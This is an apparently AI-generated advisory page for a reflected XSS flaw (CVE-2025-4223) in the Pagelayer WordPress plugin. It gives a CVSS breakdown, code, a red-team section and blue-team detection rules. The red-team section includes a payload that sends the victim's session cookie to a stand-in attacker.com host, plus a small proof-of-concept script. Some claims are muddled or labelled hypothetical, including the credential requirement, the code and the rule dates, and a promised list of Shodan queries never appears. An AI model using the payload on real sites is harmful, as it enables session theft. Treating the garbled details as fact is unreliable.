CVE-2025-4223
Executive Summary
CVE-2025-4223 is a reflected Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress, affecting all versions up to and including 2.0.0. The flaw resides in the login_url parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by an authenticated WordPress user, executes arbitrary JavaScript in the context of that user's session. A valid username/password pair is required for the exploit to succeed, but the attacker does not need to be authenticated themselves. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Pagelayer from the WordPress dashboard or manually are at risk. No official patch has been released as of this analysis. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should monitor the plugin's update channel and consider temporary removal if no patch is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 4.7 (Medium)
- Attack Vector: Network (AV:N) – The attack is carried out over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
- User Interaction: Required (UI:R) – The victim must click a malicious link.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The requirement for a valid username/password pair reduces the attack surface, but the lack of a patch and the widespread use of WordPress make this a significant concern for Pagelayer users.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the login_url parameter of the Pagelayer plugin. When a user is redirected to a login page, the plugin reflects the login_url parameter without proper sanitization or output escaping. An attacker can inject JavaScript code into this parameter, which will be executed when the victim's browser renders the page.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/wp-login.php?login_url=javascript:alert('XSS') - Attacker tricks an authenticated user into clicking this link (e.g., via phishing email).
- The victim's browser sends a request to the WordPress login page with the malicious
login_urlparameter. - Pagelayer's login handler reflects the parameter value without escaping.
- The injected JavaScript executes in the victim's session context, allowing the attacker to perform actions like session hijacking, form submission, or content manipulation.
Why a valid username/password is required: The vulnerability only triggers when the user is redirected to the login page and the plugin processes the login_url parameter. If the user is not authenticated, the script still executes, but the attacker gains no additional privileges. The requirement for valid credentials means the attacker must have or guess a valid username/password pair to make the exploit meaningful (e.g., to steal session cookies of an authenticated user).
Vulnerable vs. Patched Code
Vulnerable Code (Pagelayer <= 2.0.0):
// In pagelayer-login.php or similar
$login_url = $_GET['login_url'];
// No sanitization or escaping
echo '<a href="' . $login_url . '">Login</a>';
Patched Code (Hypothetical):
// Properly escaped
$login_url = esc_url($_GET['login_url']);
echo '<a href="' . $login_url . '">Login</a>';
The fix involves using WordPress's esc_url() function to sanitize the URL, preventing JavaScript injection. Since no official patch is available, this is a recommended remediation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with Pagelayer plugin <= 2.0.0 installed.
- A valid username/password pair (e.g.,
admin:password). - A victim user who is authenticated.
Exploit Steps:
- Craft a malicious URL with XSS payload:
https://victim-site.com/wp-login.php?login_url=javascript:document.location='https://attacker.com/steal.php?cookie='+document.cookie - Send this link to the victim via email or social engineering.
- When the victim clicks the link and is authenticated, the JavaScript executes and sends their session cookie to the attacker's server.
Proof-of-Concept (PoC) Script:
import requests
target = "https://victim-site.com"
payload = "javascript:alert('XSS')"
url = f"{target}/wp-login.php?login_url={payload}"
# Send request (victim must be authenticated)
response = requests.get(url)
print("PoC URL:", url)
print("Response contains payload:", payload in response.text)
Blue Team
Detection Steps:
- Monitor web server logs for requests to
/wp-login.phpwith suspiciouslogin_urlparameters containingjavascript:,data:, or other URI schemes. - Use WAF rules to block requests with
login_urlcontaining script-related keywords. - Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Temporarily disable the Pagelayer plugin until a patch is available.
- Apply a virtual patch using a WAF to filter malicious
login_urlvalues. - Educate users about phishing attacks that exploit this vulnerability.
Indicators of Compromise (IOCs)
- URL Pattern:
*/wp-login.php?login_url=javascript:* - Log Entry: Requests to
/wp-login.phpwithlogin_urlparameter containingjavascript:,data:, orvbscript:. - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
- File Changes: Unauthorized modifications to WordPress pages or posts via XSS.
Detection Engineering
YARA Rule
rule CVE_2025_4223_Pagelayer_XSS {
meta:
description = "Detects reflected XSS attempts against Pagelayer plugin CVE-2025-4223"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4223"
strings:
$xss_payload = /login_url\s*=\s*(javascript|data|vbscript):/i
condition:
$xss_payload
}
Sigma Rule
title: CVE-2025-4223 Pagelayer Reflected XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against Pagelayer plugin via login_url parameter
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-4223
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "login_url=javascript:"
condition: selection
falsepositives:
- Legitimate use of javascript: in URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4223 Pagelayer Reflected XSS Attempt"; flow:to_server,established; content:"/wp-login.php"; http_uri; content:"login_url="; http_uri; pcre:"/login_url\s*=\s*(javascript|data|vbscript):/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Pagelayer plugin until an official patch is released.
- Virtual Patching: Deploy a WAF rule to block requests containing
login_url=javascript:or similar patterns. - User Education: Train users to avoid clicking suspicious links, especially those containing
login_urlparameters. - Monitoring: Enable logging for all requests to
/wp-login.phpand review for anomalouslogin_urlvalues. - Long-term: Update to a patched version once available. If no patch is forthcoming, consider replacing the plugin with an alternative.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.